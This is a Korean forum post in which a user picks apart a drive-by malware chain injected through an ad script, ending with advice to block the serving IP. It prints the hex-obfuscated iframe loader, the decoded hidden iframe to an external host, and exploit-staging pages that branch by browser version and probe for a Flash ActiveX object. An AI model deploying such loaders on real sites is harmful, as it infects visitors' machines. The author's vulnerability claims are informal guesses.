첨에 http://ade.realclick.co.kr/partner09_1/dcinside13_p2.js 들어가니까
window["\\x64\\x6f\\x63\\x75\\x6d\\x65\\x6e\\x74"]["\\x77\\x72\\x69\\x74\\x65"]("\\x3c\\x69\\x66\\x72\\x61\\x6d\\x65 \\x77\\x69\\x64\\x74\\x68\\x3d\\x27\\x31\\x30\\x27 \\x68\\x65\\x69\\x67\\x68\\x74\\x3d\\x27\\x31\\x27 \\x73\\x72\\x63\\x3d\\x27\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x32\\x31\\x31\\x2e\\x32\\x33\\x33\\x2e\\x36\\x39\\x2e\\x32\\x31\\x2f\\x72\\x6f\\x6f\\x6b\\x2e\\x68\\x74\\x6d\\x6c\\x27\\x3e\\x3c\\x2f\\x69\\x66\\x72\\x61\\x6d\\x65\\x3e");
<br />
<b>Warning</b>: Cannot modify header information - headers already sent by (output started at /home/www/html/inc_rc/common_variable.rc:67) in <b>/home/www/html/inc_rc/bank_stat.rc</b> on line <b>32</b><br />
뭐 이런게 뜨더라ㅋ
아마 common_variable.rc라는 파일을 털어서 저런일이 생긴거 같음 ㅋ
아무튼 저 코드를 해독하면
documentwrite<iframewidth=\'10\'height=\'1\'src=\'http://211.233.69.21/rook.html\'></iframe>
이런게 나옴미당 ㅋ
저 주소 들어가면
<html>
<br>
<br><iframe src="read.html" width="128" height="1" frameborder="0"></iframe><br>
<br>
< src="http://s123.cnzz.com/stat.php?id=501944&web_id=501944" language=""></>
</html>
요런거 뜸미당 ㅋ
저기서 밑에 cnzz.com은 바이러스 뿌린놈들이 얼마나 많은 새끼들이 바이러스 걸렸나 통계보는거고 위에 read.html을 보면
< language="">
document.writeln("< language=\"\">");
document.writeln("function loadx(){");
document.writeln("var Then = new Date()");
document.writeln("Then.setTime(Then.getTime() + 3*60*60*1000)");
document.writeln("var cookieString = new String(document.cookie)");
document.writeln("var cookieHeader = \"ahua=\"");
document.writeln("var beginPosition = cookieString.indexOf(cookieHeader)");
document.writeln("if (beginPosition != -1){");
document.writeln("} else { ");
document.writeln("document.cookie = \"ahua=Filter;expires=\"+ Then.toGMTString()");
document.writeln("document.write(\"<iframe src=ko1.htm width=123 height=1><\\/iframe>\");");
document.writeln("if(navigator.userAgent.toLowerCase().indexOf(\"0\'>\\\\x6D\"+\"\\\\x73\\\\x69\\\\x65\"+\"\\\\x20\\\\x36\")>0){");
document.writeln("document.write(\"<iframe width=125 height=111 src=i6.htm><\\/iframe>\");}");
document.writeln("if(navigator.userAgent.toLowerCase().indexOf(\"0\'>\\\\x6D\"+\"\\\\x73\"+\"\\\\x69\"+\"\\\\x65\"+\"\\\\x20\"+\"\\\\x37\")>0){");
document.writeln("document.write(\"<iframe src=i7.htm width=125 height=111><\\/iframe>\");}");
document.writeln("document.write(\"<iframe src=ko2.htm width=123 height=1><\\/iframe>\");");
document.writeln("}");
document.writeln("}");
document.writeln("loadx();");
document.writeln("<\\/>");
</>
요런게 뜸미당 ㅋ
각각의 파일들을 다봐야하지만 대충 보니까 웹브라우저별로 나누어서 무언가를 실행하는거 같은데 ㅋ 아무튼 제일 먼저 나오는 ko1.htm을 보면 ㅋ
<>
document.writeln("");
document.writeln("<>");
document.writeln("try{var f;");
document.writeln("var ff=new ActiveXObject(\"Sh\"+\"\\\\x6f\\\\x63\\\\x6b\\\\x77\"+\"av\"+\"e\"+\"Fl\"+\"a\"+\"s\"+\"h.S\"+\"ho\"+\"ckw\"+\"aveF\"+\"las\"+\"h\\");}");
document.writeln("catch(f){}; ");
document.writeln("finally{if(f!=\"[object Error]\"){aabb = \"<iframe src=kof.htm width=123 height=111><\\/iframe>\";");
document.writeln("document.write(aabb);}}");
document.writeln("");
document.writeln("<\\/>");
</>
요런게 뜸미당
더 살피기는 너무 귀찮아서
일단 여기까지 보면 activexobject부분이 보임미다
이게 바이러스의 핵심같음ㅋ
아무튼 이거 보면 owc10.dll 인가 설치하려고 하는데
이거 취약점이 있는듯ㅋ
이거 설치하면 님들다 좆됨 ㅋ
서버주소인 211.233.69.21은 일단 한국으로 잡힘
그래서 결론은 211.233.69.21을 접근 못하게 해두면 일단은 안전함미다.
댓글 영역
획득법
① NFT 발행
작성한 게시물을 NFT로 발행하면 일주일 동안 사용할 수 있습니다. (최초 1회)
② NFT 구매
다른 이용자의 NFT를 구매하면 한 달 동안 사용할 수 있습니다. (구매 시마다 갱신)
사용법
디시콘에서지갑연결시 바로 사용 가능합니다.